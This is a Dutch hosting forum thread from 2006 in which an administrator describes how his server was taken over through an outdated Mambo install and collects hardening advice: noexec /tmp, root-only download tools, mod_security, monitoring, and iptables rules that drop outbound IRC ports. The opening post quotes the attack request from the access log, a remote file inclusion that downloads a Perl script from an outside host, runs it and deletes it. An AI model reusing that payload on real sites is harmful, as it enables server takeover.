[Linux] Server intrusion via verouderd Mambo script.

Pagina: 1
Acties:
  • 872 views sinds 30-01-2008
  • Reageer

  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
Hallo,

Vandaag heeft een malafide script één van mijn servers (CentOS 4.2) in het datacenter kunnen binnendringen via een verouderde Mambo versie bij een van de virtual hosting klanten.

Citaat uit het access log van 'le moment cruciale':

code:
1
2
access_log:208.50.235.127 
[25/Jan/2006:06:39:43 +0100] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.s0l4r1sr0x.com/tool.gif?&cmd=cd%20/tmp/;lwp-download%20http://www.cuti.ch/cuti/sess3024_;perl%20sess3024_;rm%20-rf%20sess3024*? HTTP/1.0" 200 25072 "-" "Mozilla/5.0"


Kortom: het script haalt via een fout in Mambo het zaakje binnen .. voert het dan uit via Perl .. en verwijdert zichzelf weer.

De source-code van het script is uit de URL te extraheren .. en anders heb ik het nog wel.

Ik heb daarna alles ge-killed (processen met fakenaam 'kotfare') en gereboot en de betreffende client op inactief gezet.

Verder ook nog even 'forensisch' bezig geweest om zoveel mogelijk te checken inzake de integriteit van de server.

Helaas heeft mijn server (GELUKKIG MAAR) een uur flink data liggen stouwen op 100 Mbit en 97% CPU (dus ik was DDOS donateur zeg maar). En dat kostte me dus ook aardig wat dataverkeer (10 GB).
Maar HOE kan ik dit nou voorkomen in de toekomst ?

- Is het te voorkomen dat de Perl binary door Apache wordt aangeroepen .. mijn klanten gebruiken voorzover ik weet toch geen Perl. Kan ik de binary zomaar chmodden naar 750 zonder wat te breken ?
(Doe ik ook altijd met 'wget' enzo).

- Bestaat er een soort monitoring tool , alert die mij meteen mailt als de CPU te lang op >50% blijft hangen .. of als de bandwidth te lang 100 Mbit is.

- Nog andere tips om het zaakje beter onder controle te krijgen ? Want als ik hier niet op tijd bij was geweest had het me veel geld gekost inzake dataverkeer !!

Verder draait PHP NIET in Safe-mode .. dit is een vereiste .. uit klantvriendelijkheid. Wel met een strenge open_basedir policy. De 'suexec' heeft in dit geval niets uitgehaald voor zover ik kan zien. Perl werd direct als binary aangesproken.

  • TD-er
  • Registratie: Januari 2000
  • Laatst online: 14:20
Ik heb een week geleden ongeveer hetzelfde gehad.
Ik zou je aanraden je hele /tmp (dus ook de /tmp/.tmp/) even te tarren en thuis door een virusscanner heen te halen. Bij mij hadden ze een linux-virus erop gezet (aldus Kaspersky) en een IRC-botje.
Ik was er gelukkig binnen 4 GB al achter.

Het was het virus Virus.Linux.RST.b.
Hier de omschrijving van de a-versie, omdat er bij de b-versie nog geen uitleg staat.

Ikzelf heb uiteindelijk mijn hele server opnieuw kunnen installeren omdat de reboot compleet vastliep, zonder dat duidelijk was wat er mis ging.

Voor de zekerheid heb ik die /tmp/.tmp (dus een hidden dir) weggehaald en als root een lege file neergezet met dezelfde naam, om te voorkomen dat ze hetzelfde scriptje nog een keer konden gebruiken.

Nog een tip:
Als je Plesk gebruik, test dan heel erg goed dat die backup die je met psadump maakt ook goed is.
Dat had ik dus niet gedaan en nu ben ik dus alle Plesk-instellingen kwijt. :(

[ Voor 14% gewijzigd door TD-er op 25-01-2006 21:55 ]

Een goedkope voeding is als een lot in de loterij, je maakt kans op een paar tientjes korting, maar meestal betaal je de hoofdprijs. mijn posts (nodig wegens nieuwe layout)


  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
Gebruik inderdaad Plesk ja ... maar ga sowieso naast psadump ook rsync inzetten binnenkort.
Bedankt voor je tip.

Verder hoor ik graag zoveel mogelijk manieren om het zaakje te hardenen. Zoals:

- mod_security
- root only maken (chmod 750) van 'wget, lwp-*, etc'
- geschikte monitoring tools om tijdig achter dit soort zooi te komen

[ Voor 4% gewijzigd door BoXie op 25-01-2006 22:08 ]


Verwijderd

Move PNS > NOS

  • RagaBaSH
  • Registratie: Januari 2001
  • Laatst online: 27-11-2025

RagaBaSH

Huttenbouwer

BoXie schreef op woensdag 25 januari 2006 @ 22:03:
Gebruik inderdaad Plesk ja ... maar ga sowieso naast psadump ook rsync inzetten binnenkort.
Bedankt voor je tip.

Verder hoor ik graag zoveel mogelijk manieren om het zaakje te hardenen. Zoals:

- mod_security
- root only maken (chmod 750) van 'wget, lwp-*, etc'
- geschikte monitoring tools om tijdig achter dit soort zooi te komen
er zijn een aantal dingen die je kan doen waardoor je iig sneller op de hoogte gehouden wordt:
  • Intrusion Detection opzetten
  • gewone gebruikers wat minder ruimte geven met een kernelpatch als bijvoorbeeld grsecurity (sluit /proc e.d. goed af met opties voor logging)
  • je kan proberen om van de door je klanten gebruikte software een lijstje met versies te maken en deze aan een CERT achtige watchlist te koppelen (warning geven als er een critical bug is voor een bepaald project).
  • een pakket als chkrootkit cronnen en daar de output van bijhouden.
  • als "opeens" je netwerkkaart in "promiscuous" mode gaat is dat wel een signaal.

Zes pallets, een paar vierkante kilometer dekzeil en een zooi verroeste spijkers is geen troep. Dat is een hut in ontkenningsfase.


  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
Ok bedankt.

Bestaat er verder een soort monitoring tool die op de server draait en alerts stuurt via e-mail als de cpu bijv. langer dan xx minuten op >90% draait ? Of als je netwerkkaart langer als een half uur 100 Mbit wegduwt ?

Overigens ken ik grsecurity ja .. maar ik vind dat een beetje te link / non-standard op een RPM-based systeem.

[ Voor 28% gewijzigd door BoXie op 26-01-2006 16:31 ]


  • Gerco
  • Registratie: Mei 2000
  • Laatst online: 06:19

Gerco

Professional Newbie

Ik heb het volgende gedaan:

• wget is root-only
• /tmp is een kleine ramdisk die met nosuid, noexec, nodev gemount is
• /dev/shm was al een ramdisk, maar heeft nu ook dezelfde opties als /tmp
• Kernel is voorzien van grsecurity en PaX, waardoor de root user weinig meer kan en buffer overruns minder waarschijnlijk zijn.
• Loadable modules is niet in de kernel gecompiled (weert veel rootkits af, maar zeker niet allemaal!)
• Het hele systeem is gecompileerd met Pie en Ssp, Gentoo Hardened stage 1
• Strenge open_basedir policy voor PHP
• Alle mogelijkheden om een proces te starten zijn disabled in PHP
• Elke nacht controleert tripwire het systeem. Configuratie daarvan is een hel, maar ik hoop dat het helpt :)

Toen waren mijn ideeën wel zo'n beetje op en ik zoek dus eigenlijk nog zo'n monitoring tool (bij voorkeur met SMS mogelijkheid). Hiervoor was de server is al een keer compromised geweest door een lekke phpBB en stond er een IRC bouncer op. Toen ben ik even los gegaan met de security maatregelen.

Helaas zijn crackers er door *weer* een brakke phpBB in geslaagd om een phishing site te installeren in de website van die klant. Op de server inloggen konden ze natuurlijk niet, want de klanten hebben geen ssh access, maar ze konden wel wat files uploaden door een bug in PhpBB. Ik denk erover om PhpBB maar helemaal te verbieden of weet iemand hier misschien een oplossing voor?

[ Voor 26% gewijzigd door Gerco op 26-01-2006 16:44 ]

- "Als ik zou willen dat je het begreep, legde ik het wel beter uit!" | All number systems are base 10!


Verwijderd

Tnx voor de tips.
Heb ook even bij mij op de site gekeken. (heb zelf ook mambo draaien)
Gelukkig heeft m'n firewall het meeste geblocked, en de rest die op de server zijn gekomen waren niet succesvol geweest.
Alleen al in de afgelopen week heb ik 939 POST pogingen gehad van 85 verschillende ip-adressen.

  • moto-moi
  • Registratie: Juli 2001
  • Laatst online: 09-06-2011

moto-moi

Ja, ik haat jou ook :w

Gerco schreef op donderdag 26 januari 2006 @ 16:41:
Ik heb het volgende gedaan:
Helaas zijn crackers er door *weer* een brakke phpBB in geslaagd om een phishing site te installeren in de website van die klant. Op de server inloggen konden ze natuurlijk niet, want de klanten hebben geen ssh access, maar ze konden wel wat files uploaden door een bug in PhpBB. Ik denk erover om PhpBB maar helemaal te verbieden of weet iemand hier misschien een oplossing voor?
Quota's zou nog iets kunnen zijn als je phpBB niet teveel ruimte nodig heeft, verder zou je kunnen denken aan een firewall die van binnen naar buiten o.a. alleen maar http verkeer toestaat, en irc verkeer automatisch dropped.
Maar verder heb je wel aardig hetzelfde gedaan als wat ik zou doen :)

God, root, what is difference? | Talga Vassternich | IBM zuigt


  • _JGC_
  • Registratie: Juli 2000
  • Laatst online: 23:36
Overigens noem je suexec die niets helpt voor perl die aangeroepen wordt: Heb je er wel eens over gedacht om PHP in CGI mode te draaien met FastCGI en daarbij suexec te gebruiken? Op dit moment heb ik dit in gebruik op een webserver met 350 VHosts, waarbij elke VHost die PHP gebruikt onder een eigen UID wordt gedraaid. Geklooi met safemode en restricties op UID heb je dan niet meer, aangezien dingen die je met PHP scripts op de webserver gooit ook van de klant zelf zijn ipv de apache gebruiker.

  • Gerco
  • Registratie: Mei 2000
  • Laatst online: 06:19

Gerco

Professional Newbie

moto-moi schreef op donderdag 26 januari 2006 @ 17:26:
Quota's zou nog iets kunnen zijn als je phpBB niet teveel ruimte nodig heeft, verder zou je kunnen denken aan een firewall die van binnen naar buiten o.a. alleen maar http verkeer toestaat, en irc verkeer automatisch dropped.
Dat droppen van IRC verkeer doe ik nu inderdaad al, maar alleen uitgaand HTTP toestaan gaat niet helpen voor het uploaden van phising sites, aangezien die gewoon via HTTP geupload werden (was een bug in 1 of andere filestorage add-on module van PhpBB geloof ik).

- "Als ik zou willen dat je het begreep, legde ik het wel beter uit!" | All number systems are base 10!


  • ajvdvegt
  • Registratie: Maart 2000
  • Laatst online: 04-12-2025
Tools als bigbrother en nagios kan je gebruiken voor monitoring van allerlei dingen op je systeem. Bij beiden kan je met scripts zelf dingen toevoegen die je wilt monitoren, en beiden kunnen berichten sturen als er ergens een alarm op treedt. Ik heb zelf alleen met BB gewerkt, maar van collega's hoor ik dat Nagios lekkerder werkt - BB gaat bij ons daarom de deur uit.

I don't kill flies, but I like to mess with their minds. I hold them above globes. They freak out and yell "Whooa, I'm *way* too high." -- Bruce Baum


  • moto-moi
  • Registratie: Juli 2001
  • Laatst online: 09-06-2011

moto-moi

Ja, ik haat jou ook :w

Gerco schreef op donderdag 26 januari 2006 @ 19:42:
Dat droppen van IRC verkeer doe ik nu inderdaad al, maar alleen uitgaand HTTP toestaan gaat niet helpen voor het uploaden van phising sites, aangezien die gewoon via HTTP geupload werden (was een bug in 1 of andere filestorage add-on module van PhpBB geloof ik).
Dan zou je kunnen gaan denken aan trottleling van uitgaand verkeerd, maar dat kost je weer cpu.

God, root, what is difference? | Talga Vassternich | IBM zuigt


  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

Gerco schreef op donderdag 26 januari 2006 @ 19:42:
[...]

Dat droppen van IRC verkeer doe ik nu inderdaad al, maar alleen uitgaand HTTP toestaan gaat niet helpen voor het uploaden van phising sites, aangezien die gewoon via HTTP geupload werden (was een bug in 1 of andere filestorage add-on module van PhpBB geloof ik).
Je zou wel uitgaande web-requests (dus wat wget doet op je server) kunnen laten droppen. Of zelfs alleen maar verkeer met source-port 80 of 22 (tenzij je zelf ook niet meer wilt ssh'en). En dat dan even tijdelijk openzetten als je zelf iets moet downloaden naar je server, of dat altijd via scp doen.

All my posts are provided as-is. They come with NO WARRANTY at all.


  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
Ik heb nu ook lwp-download en naamgenoten (lwp-*) root-only gemaakt .. aangezien het script op die manier is gedownload via de URL. Het liefst zou ik dat ook met de Perl binary doen aangezien geen enkele klant momenteel Perl gebruikt .. maar ik ben bang dat ik wat breek.

Ik ga me sowieso even verdiepen in het mounten van /tmp met -noexec en evt. als ramdisk e.d. .. want daar heb ik tot nu toe nog geen kaas van gegeten. Ook mod_security staat op de to-do lijst.

Verder .. hoe kun je IRC verkeer droppen via IPTables ? Want dat kunnen allerlei poorten zijn toch ?

[ Voor 4% gewijzigd door BoXie op 27-01-2006 02:31 ]


  • Martkrui
  • Registratie: Februari 2002
  • Laatst online: 06-02 18:37
Ik ben even gaan zoeken naar een simpele apache log monitor maar ik heb nog niets gevonden.

Ook mijn servertje is eens ge-defaced door een oud scriptje. Daarom heb ik nu de boel wat simpeler opgezet zodat ik het gemakkelijker up-to-date kan houden.

Maar toch lijkt het me zinvol m'n logs te gaan scannen op bepaalde "attack signatures". Zoals request met "wget" e.d.

Natuurlijk nog een beetje filteren op apache status (200) om onderscheid te maken tussen mogelijke aanval en mogelijk gelukte aanval.

Iemand ooit zoiets gezien ? Met google nog niets kunnen vinden.

I haven't lost my mind! It's backed up on tape somewhere!


  • CyBeR
  • Registratie: September 2001
  • Niet online

CyBeR

💩

BoXie schreef op vrijdag 27 januari 2006 @ 02:27:
Verder .. hoe kun je IRC verkeer droppen via IPTables ? Want dat kunnen allerlei poorten zijn toch ?
negen van de tien keer is dat aan de serverkant poort 6667.

All my posts are provided as-is. They come with NO WARRANTY at all.


  • zomertje
  • Registratie: Januari 2000
  • Laatst online: 23:25

zomertje

Barisax knorretje

Kan iemand aangeven om welke versies van Mambo het gaat? Ik heb het ook draaien.

het ultieme jaargetijde.... | #!/usr/bin/girl | Art prints and fun


  • RagaBaSH
  • Registratie: Januari 2001
  • Laatst online: 27-11-2025

RagaBaSH

Huttenbouwer

Dr.DNA schreef op vrijdag 27 januari 2006 @ 04:56:
Ik ben even gaan zoeken naar een simpele apache log monitor maar ik heb nog niets gevonden.

Ook mijn servertje is eens ge-defaced door een oud scriptje. Daarom heb ik nu de boel wat simpeler opgezet zodat ik het gemakkelijker up-to-date kan houden.

Maar toch lijkt het me zinvol m'n logs te gaan scannen op bepaalde "attack signatures". Zoals request met "wget" e.d.

Natuurlijk nog een beetje filteren op apache status (200) om onderscheid te maken tussen mogelijke aanval en mogelijk gelukte aanval.

Iemand ooit zoiets gezien ? Met google nog niets kunnen vinden.
heb ooit eens een stukje gelezen van een gast die over zijn apache logs een whitelist heen haalde (dus alle requests waarvan hij wist dat ze voor zijn webserver mogelijk waren eruit filteren), en vervolgens de rare requests eruit filteren. In eerste instantie zal je als Apache veel IIS-wormentries vangen, maar het gaat om de long run. Wat je doet met die gevonden gegevens is het in een txt of een db zetten en vanuit daar dynamische IP's en/of ranges gaan blocken. In het stuk wat ik had gelezen kon die vent bijna heel china en korea blocken.

Het is iig een manier om gigantische apachelogs een stuk te verkleinen, en zo makkelijker door te kunnen zoeken

Zes pallets, een paar vierkante kilometer dekzeil en een zooi verroeste spijkers is geen troep. Dat is een hut in ontkenningsfase.


  • LoBbY_1
  • Registratie: Juli 2002
  • Laatst online: 06-01 11:08
Ik heb gelukkig nog nooit deze problemen gehad (afkloppen) Op mijn servers heb ik naast de normale security zaken ook SeLinux draaien. Nu heb ik gelezen dat veel mensen hier problemen mee hebben. Maar naar mijn ervaring is het toch redelijk veilig met betrekking tot de mogelijkheden die buitenstaanders hebben om rare code uit te voeren via script's.

Een echte golver is nooit uitgeput


  • TD-er
  • Registratie: Januari 2000
  • Laatst online: 14:20
zomertje schreef op vrijdag 27 januari 2006 @ 09:12:
Kan iemand aangeven om welke versies van Mambo het gaat? Ik heb het ook draaien.
Volgens mij alles van voor 4.5.3 (dus 4.5.2.3 is vatbaar)
Maar volgens mij is het het beste om gelijk Joomla 1.07 erop te zetten, want er zijn in de Joomla-tak ook de nodige andere dingen gefixed op security gebied.

Een goedkope voeding is als een lot in de loterij, je maakt kans op een paar tientjes korting, maar meestal betaal je de hoofdprijs. mijn posts (nodig wegens nieuwe layout)


  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
Dr.DNA schreef op vrijdag 27 januari 2006 @ 04:56:
Ik ben even gaan zoeken naar een simpele apache log monitor maar ik heb nog niets gevonden.

Ook mijn servertje is eens ge-defaced door een oud scriptje. Daarom heb ik nu de boel wat simpeler opgezet zodat ik het gemakkelijker up-to-date kan houden.

Maar toch lijkt het me zinvol m'n logs te gaan scannen op bepaalde "attack signatures". Zoals request met "wget" e.d.

Natuurlijk nog een beetje filteren op apache status (200) om onderscheid te maken tussen mogelijke aanval en mogelijk gelukte aanval.

Iemand ooit zoiets gezien ? Met google nog niets kunnen vinden.
www.modsecurity.org is what you need. En gebruik dan (een deel van) de rules van www.gotroot.com.

Dit is een soort URLscan tool ... soort http firewall. Werkt perfect ! Wel eerst 'detected' draaien voordat je gaat blocken .. ivm false positives.

[ Voor 11% gewijzigd door BoXie op 27-01-2006 17:27 ]


  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
zomertje schreef op vrijdag 27 januari 2006 @ 09:12:
Kan iemand aangeven om welke versies van Mambo het gaat? Ik heb het ook draaien.
In mijn geval was het Mambo 4.5.2.3 Stable.

Betrekkelijk nieuw dus .. geen antiek materiaal.

Voor het IRC gebeuren heb ik dit maar even in het iptables script erbij gezet:

code:
1
/sbin/iptables -A OUTPUT -p tcp --dport 6667 -j DROP

[ Voor 22% gewijzigd door BoXie op 27-01-2006 17:39 ]


  • daft_dutch
  • Registratie: December 2003
  • Laatst online: 02-12-2025

daft_dutch

>.< >.< >.< >.<

even over een andere boeg gooien.
je gebruikers hebben geen ssh. geen perl. geen enkele manier om via ssh een ander process te starten.

kan je niet een scripje maken dat een lijst bevat van alle processen die de de gebruikers zullen draaien.
en je mailen wanneer er een raar process draait.

gewoon een scriptje in de crontab alle out put daarvan wordt toch gemailt.
BoXie schreef op vrijdag 27 januari 2006 @ 17:30:
code:
1
/sbin/iptables -A OUTPUT -p tcp --dport 6667 -j DROP
en 6666 en 6665 en nog een stel andere poorten

[ Voor 24% gewijzigd door daft_dutch op 27-01-2006 17:45 ]

>.< >.< >.< >.<


  • TD-er
  • Registratie: Januari 2000
  • Laatst online: 14:20
daft_dutch schreef op vrijdag 27 januari 2006 @ 17:41:
even over een andere boeg gooien.
je gebruikers hebben geen ssh. geen perl. geen enkele manier om via ssh een ander process te starten.

kan je niet een scripje maken dat een lijst bevat van alle processen die de de gebruikers zullen draaien.
en je mailen wanneer er een raar process draait.

gewoon een scriptje in de crontab alle out put daarvan wordt toch gemailt.
[....]
En dan gaan ze de executables niet "s" of "sexy" noemen, maar "httpd", of "qmail" oid.
Daarmee zie je het dus niet.

voor de topic starter...
Ik ben nu de backup van de oude installatie met Kaspersky aan het doorzoeken en vind wat interessante dingen.
Er is het een en ander geplaatst in /usr/tmp (bekijken met ls -la)
Bij mij staan er 2 directories ". " en ".access.log"
In die laatste staat de file "httpd" en die is geinfecteerd. Eventuele rest is een IRC-botje, met zelfs login gegevens.
Ik zal het zo even tarren en opsturen naar Kaspersky & co.

Een goedkope voeding is als een lot in de loterij, je maakt kans op een paar tientjes korting, maar meestal betaal je de hoofdprijs. mijn posts (nodig wegens nieuwe layout)


  • BoXie
  • Registratie: Juni 2001
  • Laatst online: 30-03-2023
ok

Dit zou wat meer veiligheid moeten geven voor wat betreft zombies die zich aanmelden via IRC e.d. :
code:
1
2
3
4
/sbin/iptables -A OUTPUT -p tcp --dport 6660:6669 -j DROP
/sbin/iptables -A OUTPUT -p udp --dport 6660:6669 -j DROP
/sbin/iptables -A OUTPUT -p tcp --dport 7000 -j DROP
/sbin/iptables -A OUTPUT -p udp --dport 7000 -j DROP

Aanvullingen (m.b.t. bots / IRC dan ) altijd welkom.
Pagina: 1